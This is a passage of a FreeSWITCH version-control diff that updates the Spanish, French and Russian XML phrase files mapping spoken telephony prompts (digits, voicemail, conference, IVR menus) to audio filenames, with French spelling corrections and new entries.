+      <prompt phrase="Pin inválido, intente de nuevo." filename="conf-bad-pin.wav"/>
+      <prompt phrase="hasta luego" filename="conf-goodbye.wav"/>
+      <prompt phrase="Bienvenido a la conferencia." filename="conf-welcome.wav"/>
+    </conference>
+    <ivr>
+      <prompt phrase="Número de cuenta" filename="ivr-account_number.wav"/>
+      <prompt phrase="Conectar con quien llama" filename="ivr-connect_to_caller.wav"/>
+      <prompt phrase="Si conoce la extensión, por favor ingrésela ahora" filename="ivr-enter_ext_pound.wav"/>
+      <prompt phrase="por favor ingrese el número de una extensión seguido del signo de número" filename="ivr-enter_ext.wav"/>
+      <prompt phrase="Para esta persona" filename="ivr-for_this_person.wav"/>
+      <prompt phrase="Por favor espere mientras conecto su llamada" filename="ivr-hold_connect_call.wav"/>
+      <prompt phrase="Lo siento" filename="ivr-im_sorry.wav"/>
+      <prompt phrase="Por favor" filename="ivr-please.wav"/>
+      <prompt phrase="Por favor devuelva nuestra llamada al" filename="ivr-please_return_our_call_at.wav"/>
+      <prompt phrase="Acerca del número de referencia" filename="ivr-regarding_reference_number.wav"/>
+      <prompt phrase="Este es un ejemplo de un submenú de audiorrespuesta..." filename="ivr-sample_submenu.wav"/>
+      <prompt phrase="Por favor diga su nombre después del tono" filename="ivr-say_name.wav"/>
+      <prompt phrase="Enviar a esta persona que llama al buzón de voz" filename="ivr-send_to_voicemail.wav"/>
+      <prompt phrase="Para hablar con un representante de servicio al cliente" filename="ivr-speak_to_a_customer_service_representative.wav"/>
+      <prompt phrase="Tomar un mensaje" filename="ivr-take_a_message.wav"/>
+      <prompt phrase="Gracias" filename="ivr-thank_you.wav"/>
+      <prompt phrase="Esa fue una entrada inválida" filename="ivr-that_was_an_invalid_entry.wav"/>
+      <prompt phrase="Esta es una llamada de" filename="ivr-this_is_a_call_from.wav"/>
+      <prompt phrase="Este menú de audiorrespuesta le permitirá probar algunas de las características..." filename="ivr-this_ivr_will_let_you_test_features.wav"/>
+      <prompt phrase="Para llamar a la conferencia de FreeSWITCH" filename="ivr-to_call_the_freeswitch_conference.wav"/>
+      <prompt phrase="Para hacer una prueba de eco de FreeSWITCH" filename="ivr-to_do_a_freeswitch_echo_test.wav"/>
+      <prompt phrase="Para hacer una prueba de eco de FWD" filename="ivr-to_do_a_fwd_echo_test.wav"/>
+      <prompt phrase="Para escuchar un ejemplo de un submenú de audio respuesta" filename="ivr-to_hear_sample_submenu.wav"/>
+      <prompt phrase="Para escuchar simios gritando" filename="ivr-to_hear_screaming_monkeys.wav"/>
+      <prompt phrase="Para escuchar música de llamada en espera" filename="ivr-to_listen_to_moh.wav"/>
+      <prompt phrase="Para repetir estas opciones" filename="ivr-to_repeat_these_options.wav"/>
+      <prompt phrase="Para regresar al menú anterior" filename="ivr-to_return_to_previous_menu.wav"/>
+      <prompt phrase="Para hablar con un operador" filename="ivr-to_speak_with_an_operator.wav"/>
+      <prompt phrase="Bienvenido a FreeSWITCH, el futuro de la telefonía" filename="ivr-welcome_to_freeswitch.wav"/>
+      <prompt phrase="Usted puede colgar en cualquier momento para salir" filename="ivr-you_may_exit_by_hanging_up.wav"/>
+      <prompt phrase="o" filename="ivr-or.wav"/>
+      <prompt phrase="no" filename="ivr-not.wav"/>
+      <prompt phrase="llamar" filename="ivr-call.wav"/>
+      <prompt phrase="Usted puede" filename="ivr-you_may.wav"/>
+      <prompt phrase="hola" filename="ivr-hello.wav"/>
+      <prompt phrase="Usando el teclado de su teléfono..." filename="ivr-use_telephone_keypad.wav"/>
+      <prompt phrase="por favor deletree el nombre de la persona a la cual está intentando contactar." filename="ivr-spell_name.wav"/>
+      <prompt phrase="Primero el apellido" filename="ivr-last_name_first.wav"/>
+      <prompt phrase="Primero el nombre" filename="ivr-first_name_first.wav"/>
+      <prompt phrase="Presione 1 para Q ó Z." filename="ivr-press_one_q_or_z.wav"/>
+      <prompt phrase="Ventas" filename="ivr-sales.wav"/>
+      <prompt phrase="Servicio al cliente" filename="ivr-customer_service.wav"/>
+      <prompt phrase="Soporte técnico" filename="ivr-technical_support.wav"/>
+      <prompt phrase="Operador" filename="ivr-operator.wav"/>
+    </ivr>
+    <misc>
+      <prompt phrase="Esta llamada ha sido asegurada" filename="call_secured.wav"/>
+      <prompt phrase="Seguido del signo de número" filename="followed.wav"/>
+      <prompt phrase="Si usted es esta persona" filename="if_you_are_this_person.wav"/>
+      <prompt phrase="Si usted desea" filename="if_you_would_like_to.wav"/>
+      <prompt phrase="Diga el número de referencia" filename="provide_reference_number.wav"/>
+      <prompt phrase="Por favor pulse la extensión a la cual desea transferir" filename="transfer1.wav"/>
+      <prompt phrase="Transferir" filename="transfer2.wav"/>
+      <prompt phrase="Estamos tratando de contactar" filename="we_are_trying_to_reach.wav"/>
+      <prompt phrase="Un error ha ocurrido, por favor contacte al administrador" filename="error.wav"/>
+    </misc>
+  </en>
+</language>
\ No newline at end of file

Modified: freeswitch/branches/seven/docs/phrase/phrase_fr.xml (14471 => 14472)


--- freeswitch/branches/seven/docs/phrase/phrase_fr.xml	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/docs/phrase/phrase_fr.xml	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,10 +1,10 @@
 <language>
   <fr>
     <ascii>
-      <prompt phrase="Space" filename="32.wav"/>
-      <prompt phrase="Pound" filename="35.wav"/>
-      <prompt phrase="Star" filename="42.wav"/>
-      <prompt phrase="Dot" filename="46.wav"/>
+      <prompt phrase="espace" filename="32.wav"/>
+      <prompt phrase="dièse" filename="35.wav"/>
+      <prompt phrase="étoile" filename="42.wav"/>
+      <prompt phrase="point" filename="46.wav"/>
       <prompt phrase="A" filename="97.wav"/>
       <prompt phrase="B" filename="98.wav"/>
       <prompt phrase="C" filename="99.wav"/>
@@ -33,8 +33,8 @@
       <prompt phrase="Z" filename="122.wav"/>
     </ascii>
     <phonetic-ascii>
-      <prompt phrase="Espace" filename="32.wav"/>
-      <prompt phrase="Point" filename="46.wav"/>
+      <prompt phrase="espace" filename="32.wav"/>
+      <prompt phrase="point" filename="46.wav"/>
       <prompt phrase="Alpha" filename="97.wav"/>
       <prompt phrase="Bravo" filename="98.wav"/>
       <prompt phrase="Charlie" filename="99.wav"/>
@@ -55,7 +55,7 @@
       <prompt phrase="Romeo" filename="114.wav"/>
       <prompt phrase="Sierra" filename="115.wav"/>
       <prompt phrase="Tango" filename="116.wav"/>
-      <prompt phrase="Unifor" filename="117.wav"/>
+      <prompt phrase="Uniform" filename="117.wav"/>
       <prompt phrase="Victor" filename="118.wav"/>
       <prompt phrase="Whiskey" filename="119.wav"/>
       <prompt phrase="Xray" filename="120.wav"/>
@@ -63,7 +63,7 @@
       <prompt phrase="Zulu" filename="122.wav"/>
     </phonetic-ascii>
     <digits>
-      <prompt phrase="Zero" filename="0.wav"/>
+      <prompt phrase="Zéro" filename="0.wav"/>
       <prompt phrase="Un" filename="1.wav"/>
       <prompt phrase="Deux" filename="2.wav"/>
       <prompt phrase="Trois" filename="3.wav"/>
@@ -88,12 +88,12 @@
       <prompt phrase="Quarante" filename="40.wav"/>
       <prompt phrase="Cinquante" filename="50.wav"/>
       <prompt phrase="Soixante" filename="60.wav"/>
-      <prompt phrase="Soixante Dix" filename="70.wav"/>
+      <prompt phrase="Soixante-Dix" filename="70.wav"/>
       <prompt phrase="Quatre-Vingt" filename="80.wav"/>
       <prompt phrase="Quatre-Vingt-Dix" filename="90.wav"/>
       <prompt phrase="Point" filename="dot.wav"/>
       <prompt phrase="Premier" filename="h-1.wav"/>
-      <prompt phrase="Second" filename="h-2.wav"/>
+      <prompt phrase="Deuxième" filename="h-2.wav"/>
       <prompt phrase="Troisième" filename="h-3.wav"/>
       <prompt phrase="Quatrième" filename="h-4.wav"/>
       <prompt phrase="Cinquième" filename="h-5.wav"/>
@@ -103,7 +103,7 @@
       <prompt phrase="Neuvième" filename="h-9.wav"/>
       <prompt phrase="Dixième" filename="h-10.wav"/>
       <prompt phrase="Onzième" filename="h-11.wav"/>
-      <prompt phrase="Douxième" filename="h-12.wav"/>
+      <prompt phrase="Douzième" filename="h-12.wav"/>
       <prompt phrase="Treizième" filename="h-13.wav"/>
       <prompt phrase="Quatorzième" filename="h-14.wav"/>
       <prompt phrase="Quinzième" filename="h-15.wav"/>
@@ -113,29 +113,28 @@
       <prompt phrase="Dix-Neuvième" filename="h-19.wav"/>
       <prompt phrase="Vingtième" filename="h-20.wav"/>
       <prompt phrase="Trentième" filename="h-30.wav"/>
-      <prompt phrase="Quarantième" filename="hh-40.wav"/>
       <prompt phrase="Cent" filename="hundred.wav"/>
       <prompt phrase="Million" filename="million.wav"/>
-      <prompt phrase="Point Final" filename="period.wav"/>
-      <prompt phrase="Point" filename="point.wav"/>
-      <prompt phrase="Dièze" filename="pound.wav"/>
-      <prompt phrase="Etoile" filename="star.wav"/>
-      <prompt phrase="Cent" filename="thousand.wav"/>
+      <prompt phrase="point final" filename="period.wav"/>
+      <prompt phrase="point" filename="point.wav"/>
+      <prompt phrase="dièse" filename="pound.wav"/>
+      <prompt phrase="étoile" filename="star.wav"/>
+      <prompt phrase="Mille" filename="thousand.wav"/>
     </digits>
     <currency>
-      <prompt phrase="And" filename="and.wav"/>
-      <prompt phrase="Cent" filename="cent.wav"/>
+      <prompt phrase="Et" filename="and.wav"/>
+      <prompt phrase="Cents" filename="cent.wav"/>
       <prompt phrase="Centrale" filename="central.wav"/>
       <prompt phrase="Cents par minute" filename="cents-per-minute.wav"/>
-      <prompt phrase="Cent" filename="cents.wav"/>
+      <prompt phrase="Cents" filename="cents.wav"/>
       <prompt phrase="Dollar" filename="dollar.wav"/>
       <prompt phrase="Dollars" filename="dollars.wav"/>
       <prompt phrase="Moins" filename="minus.wav"/>
-      <prompt phrase="Negatif" filename="negative.wav"/>
+      <prompt phrase="Négatif" filename="negative.wav"/>
     </currency>
     <time>
       <prompt phrase="Du matin" filename="a-m.wav"/>
-      <prompt phrase="A" filename="at.wav"/>
+      <prompt phrase="À" filename="at.wav"/>
       <prompt phrase="Dimanche" filename="day-0.wav"/>
       <prompt phrase="Lundi" filename="day-1.wav"/>
       <prompt phrase="Mardi" filename="day-2.wav"/>
@@ -148,17 +147,17 @@
       <prompt phrase="Minute" filename="minute.wav"/>
       <prompt phrase="Minutes" filename="minutes.wav"/>
       <prompt phrase="Janvier" filename="mon-0.wav"/>
-      <prompt phrase="Fevrier" filename="mon-1.wav"/>
+      <prompt phrase="Février" filename="mon-1.wav"/>
       <prompt phrase="Mars" filename="mon-2.wav"/>
       <prompt phrase="Avril" filename="mon-3.wav"/>
       <prompt phrase="Mai" filename="mon-4.wav"/>
       <prompt phrase="Juin" filename="mon-5.wav"/>
       <prompt phrase="Juillet" filename="mon-6.wav"/>
-      <prompt phrase="Aout" filename="mon-7.wav"/>
+      <prompt phrase="Août" filename="mon-7.wav"/>
       <prompt phrase="Septembre" filename="mon-8.wav"/>
       <prompt phrase="Octobre" filename="mon-9.wav"/>
       <prompt phrase="Novembre" filename="mon-10.wav"/>
-      <prompt phrase="Decembre" filename="mon-11.wav"/>
+      <prompt phrase="Décembre" filename="mon-11.wav"/>
       <prompt phrase="Heures" filename="oclock.wav"/>
       <prompt phrase="oh" filename="oh.wav"/>
       <prompt phrase="Du soir" filename="p-m.wav"/>
@@ -166,48 +165,126 @@
       <prompt phrase="Secondes" filename="seconds.wav"/>
       <prompt phrase="Aujourd'hui" filename="today.wav"/>
       <prompt phrase="Demain" filename="tomorrow.wav"/>
-      <prompt phrase="Hiers" filename="yesterday.wav"/>
+      <prompt phrase="Hier" filename="yesterday.wav"/>
     </time>
     <voicemail>
-      <prompt phrase="Entrez votre identification, suivi par" filename="vm-enter_id.wav"/>
-      <prompt phrase="Entrez votre code, suivi par" filename="vm-enter_pass.wav"/>
-      <prompt phrase="Identification incorrecte" filename="vm-fail_auth.wav"/>
-      <prompt phrase="Bienvenue dans votre boite aux lettres" filename="vm-hello.wav"/>
-      <prompt phrase="Aurevoir" filename="vm-goodbye.wav"/>
-      <prompt phrase="Trops de tentatives échouées" filename="vm-abort.wav"/>
-      <prompt phrase="au bip, enregistrez votre nom, puis appuyez sur une touche ou arretez de parler jusqu'a la fin de l'enregistrement." filename="vm-record_name1.wav"/>
-      <prompt phrase="Choisissez un message d'accueil entre 1 et 3" filename="vm-choose_greeting.wav"/>
-      <prompt phrase="Valeur incorrecte" filename="vm-choose_greeting_fail.wav"/>
-      <prompt phrase="Enregistrez votre message d'accueil au bip, puis appuyez sur une touche ou arretez de parler jusqu'a la fin de l'enregistrement." filename="vm-record_greeting.wav"/>
-      <prompt phrase="enregistrez votre message au bip, puis appuyez sur une touche ou arretez de parler jusqu'a la fin de l'enregistrement." filename="vm-record_message.wav"/>
-      <prompt phrase="n'est pas joignable" filename="vm-play_greeting.wav"/>
-      <prompt phrase="Nouvelle importante" filename="vm-urgent-new.wav"/>
-      <prompt phrase="Nouveau" filename="vm-new.wav"/>
-      <prompt phrase="Enregistrement Urgent" filename="vm-urgent-saved.wav"/>
-      <prompt phrase="Enregistré" filename="vm-saved.wav"/>
-      <prompt phrase="message" filename="vm-message.wav"/>
-      <prompt phrase="messages" filename="vm-messages.wav"/>
-      <prompt phrase="Appuyez" filename="vm-press.wav"/>
-      <prompt phrase="Pour écouter les nouveaux messages" filename="vm-listen_new.wav"/>
-      <prompt phrase="Pour écouter les messages enregistrés" filename="vm-listen_saved.wav"/>
-      <prompt phrase="Pour les options avancées" filename="vm-advanced.wav"/>
-      <prompt phrase="Pour terminer" filename="vm-to_exit.wav"/>
-      <prompt phrase="Pour enregistrer un message d'accueil" filename="vm-record_greeting.wav"/>
-      <prompt phrase="Pour choisir un message d'acceuil" filename="vm-choose_greeting.wav"/>
-      <prompt phrase="Pour enregistrer votre nom" filename="vm-record_name2.wav"/>
-      <prompt phrase="Pour le menu principale" filename="vm-main_menu.wav"/>
-      <prompt phrase="Pour écouter l'enregistrement" filename="vm-listen_to_recording.wav"/>
-      <prompt phrase="Pour sauvegarder votre enregistrement" filename="vm-save_recording.wav"/>
-      <prompt phrase="Pour réenregistrer" filename="vm-rerecord.wav"/>
-      <prompt phrase="Pour signaler ce message en tant qu'urgent ou" filename="vm-mark_urgent.wav"/>
-      <prompt phrase="pour continuer" filename="vm-continue.wav"/>
-      <prompt phrase="pour réÂécouter l'enregistrement de nouveau" filename="vm-listen_to_recording_again.wav"/>
-      <prompt phrase="pour effacer l'enregistrement" filename="vm-delete_recording.wav"/>
-      <prompt phrase="Pour transférer l'enregistrement vers votre boite mail" filename="vm-forward_to_email.wav"/>
-      <prompt phrase="Message d'accueil" filename="vm-greeting.wav"/>
-      <prompt phrase="Choisissez" filename="vm-selected.wav"/>
-      <prompt phrase="N'est pas disponible" filename="vm-not_avaliable.wav"/>
-      <prompt phrase="message numéro" filename="vm-message_number.wav"/>
+        <prompt phrase="La personne au numéro" filename="vm-person.wav"/>
+        <prompt phrase="marqué urgent" filename="vm-marked_urgent.wav"/>
+        <prompt phrase="envoyé par courrier électronique" filename="vm-emailed.wav"/>
+        <prompt phrase="vous avez" filename="vm-you_have.wav"/>
+        <prompt phrase="Entrez votre identifiant, suivi par" filename="vm-enter_id.wav"/>
+        <prompt phrase="Entrez votre code d'accès, suivi par" filename="vm-enter_pass.wav"/>
+        <prompt phrase="Identification incorrecte" filename="vm-fail_auth.wav"/>
+        <prompt phrase="Bienvenue dans votre boîte aux lettres" filename="vm-hello.wav"/>
+        <prompt phrase="Au revoir" filename="vm-goodbye.wav"/>
+        <prompt phrase="Au bip, enregistrez votre nom, puis appuyez sur une touche ou arrêtez de parler pour finir l'enregistrement." filename="vm-record_name1.wav"/>
+        <prompt phrase="Choisissez un message d'accueil entre 1 et 9" filename="vm-choose_greeting.wav"/>
+        <prompt phrase="Valeur incorrecte" filename="vm-choose_greeting_fail.wav"/>
+        <prompt phrase="Trop de tentatives incorrectes" filename="vm-abort.wav"/>
+        <prompt phrase="Pour modifier votre code d'accès" filename="vm-change_password.wav"/>
+        <prompt phrase="Au bip, enregistrez votre message d'accueil, puis appuyez sur une touche ou arrêtez de parler pour finir l'enregistrement." filename="vm-record_greeting.wav"/>
+        <prompt phrase="Au bip, enregistrez votre message, puis appuyez sur une touche ou arrêtez de parler pour finir l'enregistrement." filename="vm-record_message.wav"/>
+        <prompt phrase="n'est pas joignable" filename="vm-play_greeting.wav"/>
+        <prompt phrase="urgent et nouveau" filename="vm-urgent-new.wav"/>
+        <prompt phrase="nouveau" filename="vm-new.wav"/>
+        <prompt phrase="urgent et sauvegardé" filename="vm-urgent-saved.wav"/>
+        <prompt phrase="sauvegardé" filename="vm-saved.wav"/>
+        <prompt phrase="message" filename="vm-message.wav"/>
+        <prompt phrase="messages" filename="vm-messages.wav"/>
+        <prompt phrase="Appuyez" filename="vm-press.wav"/>
+        <prompt phrase="pour écouter les nouveaux messages" filename="vm-listen_new.wav"/>
+        <prompt phrase="pour écouter les messages sauvegardés" filename="vm-listen_saved.wav"/>
+        <prompt phrase="pour les options avancées" filename="vm-advanced.wav"/>
+        <prompt phrase="pour quitter" filename="vm-to_exit.wav"/>
+        <prompt phrase="pour enregistrer un message d'accueil" filename="vm-record_greeting.wav"/>
+        <prompt phrase="pour choisir un message d'acceuil" filename="vm-choose_greeting.wav"/>
+        <prompt phrase="pour enregistrer votre nom" filename="vm-record_name2.wav"/>
+        <prompt phrase="pour le menu principal" filename="vm-main_menu.wav"/>
+        <prompt phrase="Pour écouter l'enregistrement" filename="vm-listen_to_recording.wav"/>
+        <prompt phrase="Pour sauvegarder l'enregistrement" filename="vm-save_recording.wav"/>
+        <prompt phrase="Pour réenregistrer" filename="vm-rerecord.wav"/>
+        <prompt phrase="Pour marquer ce message urgent" filename="vm-mark_urgent.wav"/>
+        <prompt phrase="pour continuer" filename="vm-continue.wav"/>
+        <prompt phrase="pour ré-écouter l'enregistrement" filename="vm-listen_to_recording_again.wav"/>
+        <prompt phrase="pour effacer l'enregistrement" filename="vm-delete_recording.wav"/>
+        <prompt phrase="Pour transférer l'enregistrement vers votre messagerie électronique" filename="vm-forward_to_email.wav"/>
+        <prompt phrase="message d'accueil" filename="vm-greeting.wav"/>
+        <prompt phrase="choisi" filename="vm-selected.wav"/>
+        <prompt phrase="n'est pas disponible" filename="vm-not_avaliable.wav"/>
+        <prompt phrase="message numéro" filename="vm-message_number.wav"/>
+        <prompt phrase="effacé" filename="vm-deleted.wav"/>
+        <prompt phrase="Votre enregistrement est trop court, veuillez réessayer" filename="vm-too-small.wav"/>
+        <prompt phrase="dans la boîte de réception" filename="vm-in_folder.wav"/>
+        <prompt phrase="pour répondre à cet appel tout de suite" filename="vm-return_call.wav"/>
+        <prompt phrase="urgent" filename="vm-urgent.wav"/>
     </voicemail>
+    <conference>
+      <prompt phrase="NULL" filename="conf-ack.wav" type="tone"/>
+      <prompt phrase="NULL" filename="conf-nack.wav" type="tone"/>
+      <prompt phrase="Personne ne peut vous entendre." filename="conf-mute.wav"/>
+      <prompt phrase="Tout le monde peut vous entendre." filename="conf-unmuted.wav"/>
+      <prompt phrase="Vous êtes actuellement le seul participant dans cette conférence." filename="conf-alone.wav"/>
+      <prompt phrase="NULL" filename="conf-perpetual.wav" type="music"/>
+      <prompt phrase="NULL" filename="conf-enter.wav" type="tone"/>
+      <prompt phrase="NULL" filename="conf-exit.wav" type="tone"/>
+      <prompt phrase="Vous avez été déconnecté de cette conférence." filename="conf-kicked.wav"/>
+      <prompt phrase="Cette conférence est verrouillée." filename="conf-locked.wav"/>
+      <prompt phrase="La conférence est maintenant verrouillée." filename="conf-is-locked.wav"/>
+      <prompt phrase="La conférence est maintenant déverrouillée." filename="conf-is-unlocked.wav"/>
+      <prompt phrase="Veuillez saisir le code d'accès à la conférence." filename="conf-pin.wav"/>
+      <prompt phrase="Code d'accès invalide, veuillez réessayer." filename="conf-bad-pin.wav"/>
+      <prompt phrase="Au revoir" filename="conf-goodbye.wav"/>
+      <prompt phrase="Bienvenue à la conférence." filename="conf-welcome.wav"/>
+    </conference>
+    <ivr>
+      <prompt phrase="Numéro de compte" filename="ivr-account_number.wav"/>
+      <prompt phrase="Connecter l'appel" filename="ivr-connect_to_caller.wav"/>
+      <prompt phrase="Si vous connaissez le numéro de poste de votre correspondant, veuiller le saisir maintenant." filename="ivr-enter_ext_pound.wav"/>
+      <prompt phrase="Veuillez saisir un numéro de poste suivi de la touche dièse." filename="ivr-enter_ext.wav"/>
+      <prompt phrase="Pour cette personne" filename="ivr-for_this_person.wav"/>
+      <prompt phrase="Patientez, votre appel va être connecté." filename="ivr-hold_connect_call.wav"/>
+      <prompt phrase="Désolé" filename="ivr-im_sorry.wav"/>
+      <prompt phrase="S'il vous plaît" filename="ivr-please.wav"/>
+      <prompt phrase="Veuillez nous rappeler au" filename="ivr-please_return_our_call_at.wav"/>
+      <prompt phrase="concernant la référence" filename="ivr-regarding_reference_number.wav"/>
+      <prompt phrase="Ceci est un example de menu. FreeSWITCH est très flexible dans la conception de système interactifs." filename="ivr-sample_submenu.wav"/>
+      <prompt phrase="Veuillez prononcer votre nom après le bip" filename="ivr-say_name.wav"/>
+      <prompt phrase="Envoyer cet appelant vers la messagerie vocale" filename="ivr-send_to_voicemail.wav"/>
+      <prompt phrase="Pour parler avec un de nos agents" filename="ivr-speak_to_a_customer_service_representative.wav"/>
+      <prompt phrase="Prendre un message" filename="ivr-take_a_message.wav"/>
+      <prompt phrase="Merci" filename="ivr-thank_you.wav"/>
+      <prompt phrase="Votre choix n'est pas valide" filename="ivr-that_was_an_invalid_entry.wav"/>
+      <prompt phrase="Cet appel est de" filename="ivr-this_is_a_call_from.wav"/>
+      <prompt phrase="Ce menu interactif vous permet de tester certaines des fonctionalités de votre système FreeSWITCH." filename="ivr-this_ivr_will_let_you_test_features.wav"/>
+      <prompt phrase="Pour appeler la conférence téléphonique de FreeSWITCH" filename="ivr-to_call_the_freeswitch_conference.wav"/>
+      <prompt phrase="Pour faire un test d'écho avec FreeSWITCH" filename="ivr-to_do_a_freeswitch_echo_test.wav"/>
+      <prompt phrase="Pour faire un test d'écho avec FWD" filename="ivr-to_do_a_fwd_echo_test.wav"/>
+      <prompt phrase="Pour entendre un exemple de menu" filename="ivr-to_hear_sample_submenu.wav"/>
+      <prompt phrase="Pour entendre des singes qui hurlent" filename="ivr-to_hear_screaming_monkeys.wav"/>
+      <prompt phrase="Pour écouter la musique d'attente" filename="ivr-to_listen_to_moh.wav"/>
+      <prompt phrase="Pour répéter ces options" filename="ivr-to_repeat_these_options.wav"/>
+      <prompt phrase="Pour revenir au menu précédent" filename="ivr-to_return_to_previous_menu.wav"/>
+      <prompt phrase="Pour parler avec un opérateur" filename="ivr-to_speak_with_an_operator.wav"/>
+      <prompt phrase="FreeSWITCH, le futur de la téléphonie, vous souhaite la bienvenue" filename="ivr-welcome_to_freeswitch.wav"/>
+      <prompt phrase="Raccrochez à tout moment pour quitter" filename="ivr-you_may_exit_by_hanging_up.wav"/>
+      <!-- Suggested additions; "not" would require syntax handling; is "call" a verb or a noun?
+       <prompt phrase="ou" filename ="ivr-or.wav"/>
+       <prompt phrase="not" filename ="ivr-not.wav"/>
+       <prompt phrase="call" filename ="ivr-call.wav"/>
+       <prompt phrase="Vous pouvez" filename ="ivr-you_may.wav"/>
+       -->
+    </ivr>
+    <misc>
+      <prompt phrase="Cet appel a été sécurisé" filename="call_secured.wav"/>
+      <prompt phrase="Suivi de la touche dièse" filename="followed.wav"/>
+      <prompt phrase="Si vous êtes cette personne" filename="if_you_are_this_person.wav"/>
+      <prompt phrase="Si vous souhaitez" filename="if_you_would_like_to.wav"/>
+      <prompt phrase="Provide reference number" filename="provide_reference_number.wav"/>
+      <prompt phrase="Veuillez saisir le numéro de poste du destinataire" filename="transfer1.wav"/>
+      <!-- Is "transfer" a noun or a verb? -->
+      <prompt phrase="Transfer" filename="transfer2.wav"/>
+      <prompt phrase="Nous essayons de joindre" filename="we_are_trying_to_reach.wav"/>
+      <prompt phrase="Une erreur est survenue. Veuillez contacter l'administrateur." filename="error.wav"/>
+    </misc>
   </fr>
 </language>

Copied: freeswitch/branches/seven/docs/phrase/phrase_ru.xml (from rev 14471, freeswitch/trunk/docs/phrase/phrase_ru.xml) (0 => 14472)


--- freeswitch/branches/seven/docs/phrase/phrase_ru.xml	                        (rev 0)
+++ freeswitch/branches/seven/docs/phrase/phrase_ru.xml	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,1220 @@
+<language>
+  <ru>
+	<ascii>
+		<prompt phrase="Пробел" filename="32.wav"/>
+  <!--    -->
+		<prompt phrase="Решётка" filename="35.wav"/>
+		<prompt phrase="Звездочка" filename="42.wav"/>
+		<prompt phrase="Точка" filename="46.wav"/>
+		<prompt phrase="A" filename="97.wav"/>
+		<prompt phrase="B" filename="98.wav"/>
+		<prompt phrase="C" filename="99.wav"/>
+		<prompt phrase="D" filename="100.wav"/>
+		<prompt phrase="E" filename="101.wav"/>
+		<prompt phrase="F" filename="102.wav"/>
+		<prompt phrase="G" filename="103.wav"/>
+		<prompt phrase="H" filename="104.wav"/>
+		<prompt phrase="I" filename="105.wav"/>
+		<prompt phrase="J" filename="106.wav"/>
+		<prompt phrase="K" filename="107.wav"/>
+		<prompt phrase="L" filename="108.wav"/>
+		<prompt phrase="M" filename="109.wav"/>
+		<prompt phrase="N" filename="110.wav"/>
+		<prompt phrase="O" filename="111.wav"/>
+		<prompt phrase="P" filename="112.wav"/>
+		<prompt phrase="Q" filename="113.wav"/>
+		<prompt phrase="R" filename="114.wav"/>
+		<prompt phrase="S" filename="115.wav"/>
+		<prompt phrase="T" filename="116.wav"/>
+		<prompt phrase="U" filename="117.wav"/>
+		<prompt phrase="V" filename="118.wav"/>
+		<prompt phrase="W" filename="119.wav"/>
+		<prompt phrase="X" filename="120.wav"/>
+		<prompt phrase="Y" filename="121.wav"/>
+		<prompt phrase="Z" filename="122.wav"/>
+    </ascii>
+	<phonetic-ascii>
+		<prompt phrase="Пробел" filename="32.wav"/>
+		<prompt phrase="Точка" filename="46.wav"/>
+		<prompt phrase="Alpha" filename="97.wav"/>
+		<prompt phrase="Bravo" filename="98.wav"/>
+		<prompt phrase="Charlie" filename="99.wav"/>
+		<prompt phrase="Delta" filename="100.wav"/>
+		<prompt phrase="Echo" filename="101.wav"/>
+		<prompt phrase="Foxtrot" filename="102.wav"/>
+		<prompt phrase="Golf" filename="103.wav"/>
+		<prompt phrase="Hotel" filename="104.wav"/>
+		<prompt phrase="India" filename="105.wav"/>
+		<prompt phrase="Juliet" filename="106.wav"/>
+		<prompt phrase="Kilo" filename="107.wav"/>
+		<prompt phrase="Lima" filename="108.wav"/>
+		<prompt phrase="Mike" filename="109.wav"/>
+		<prompt phrase="November" filename="110.wav"/>
+		<prompt phrase="Oscar" filename="111.wav"/>
+		<prompt phrase="Papa" filename="112.wav"/>
+		<prompt phrase="Quebec" filename="113.wav"/>
+		<prompt phrase="Romeo" filename="114.wav"/>
+		<prompt phrase="Sierra" filename="115.wav"/>
+		<prompt phrase="Tango" filename="116.wav"/>
+		<prompt phrase="Unifor" filename="117.wav"/>
+		<prompt phrase="Victor" filename="118.wav"/>
+		<prompt phrase="Whiskey" filename="119.wav"/>
+		<prompt phrase="Xray" filename="120.wav"/>
+		<prompt phrase="Yankee" filename="121.wav"/>
+		<prompt phrase="Zulu" filename="122.wav"/>
+	</phonetic-ascii>
+	<digits>
+		<prompt phrase="ноль" filename="0.wav"/>
+		<prompt phrase="нулевая" filename="h-0f.wav"/>
+		<prompt phrase="нулевой" filename="h-0m.wav"/>
+		<prompt phrase="Нулевое" filename="h-0n.wav"/>
+		<prompt phrase="нулевого" filename="h-0x.wav"/>
+		<prompt phrase="Один" filename="1.wav"/>
+		<prompt phrase="Одна" filename="1f.wav"/>
+		<prompt phrase="Одно" filename="1n.wav"/>
+		<prompt phrase="Одного" filename="1x.wav"/>
+		<prompt phrase="Одной" filename="1xx.wav"/>
+		<prompt phrase="Первого" filename="h-1x.wav"/>
+		<prompt phrase="Первый" filename="h-1m.wav"/>
+		<prompt phrase="Первое" filename="h-1n.wav"/>
+		<prompt phrase="Первая" filename="h-1f.wav"/>
+		<prompt phrase="Одной" filename="h-1xx.wav"/>
+		<prompt phrase="Два" filename="2.wav"/>
+		<prompt phrase="Две" filename="2f.wav"/>
+		<prompt phrase="Два" filename="2n.wav"/>
+		<prompt phrase="Двух" filename="h-2xx.wav"/>
+		<prompt phrase="Второе" filename="h-2n.wav"/>
+		<prompt phrase="Второго" filename="h-2x.wav"/>
+		<prompt phrase="Второй" filename="h-2m.wav"/>
+		<prompt phrase="Вторая" filename="h-2f.wav"/>
+		<prompt phrase="Три" filename="3.wav"/>
+		<prompt phrase="Третьего" filename="h-3x.wav"/>
+		<prompt phrase="Третий" filename="h-3m.wav"/>
+		<prompt phrase="Третья" filename="h-3f.wav"/>
+		<prompt phrase="третье" filename="h-3n.wav"/>
+		<prompt phrase="Трёх" filename="h-3xx.wav"/>
+		<prompt phrase="Четыре" filename="4.wav"/>
+		<prompt phrase="Четвёртая" filename="h-4f.wav"/>
+		<prompt phrase="Четвёртого" filename="h-4x.wav"/>
+		<prompt phrase="Четвёртый" filename="h-4m.wav"/>
+		<prompt phrase="Четвёртое" filename="h-4n.wav"/>
+		<prompt phrase="Четырёх" filename="h-4xx.wav"/>
+		<prompt phrase="Пять" filename="5.wav"/>
+		<prompt phrase="Пятая" filename="h-5f.wav"/>
+		<prompt phrase="Пятого" filename="h-5x.wav"/>
+		<prompt phrase="Пятый" filename="h-5m.wav"/>
+		<prompt phrase="Пятое" filename="h-5n.wav"/>
+		<prompt phrase="Пяти" filename="h-5xx.wav"/>
